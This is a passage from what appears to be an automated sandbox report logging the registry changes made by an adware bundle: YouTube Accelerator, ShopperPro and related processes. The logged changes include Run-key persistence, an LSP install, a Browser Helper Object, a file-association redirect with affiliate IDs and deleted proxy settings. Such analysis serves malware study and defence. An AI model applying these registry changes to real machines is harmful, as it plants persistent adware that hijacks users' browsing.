[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "AD D8 CA 33 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "AD D8 CA 33 C5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process biclient.exe:3444 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F4 6F 0F 2C C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 46 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "F1 29 BF 31 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "F1 29 BF 31 C5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process biclient.exe:2192 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "ED 1E 64 04 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 42 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "ED 1E 64 04 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "ED 1E 64 04 C5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process biclient.exe:2844 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EF CD 44 70 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4F 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "A8 58 A3 7E C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "A8 58 A3 7E C5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process wpm_v20.0.0.1714_0204.exe:2588 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process GLBD5F4.tmp:3948 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1424736146"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1424736146"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "133"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3396(build_133)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process setup.exe:2344 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "56 05 A6 68 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\422.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "EF CD 44 70 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "EF CD 44 70 C5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process setup.exe:904 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\7711c0f3\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process testlsp.exe:2936 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1424736166"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "45 4A 27 39 C5 4F D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1424736166"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process STab_Down_6.0.6.8.exe:3144 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process WerFault.exe:1680 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 81 00"

The process WerFault.exe:3044 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 81 00"

The process ShopperPro.exe:3932 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtycl"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F4 6F 0F 2C C5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "2.5.8305.1508"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

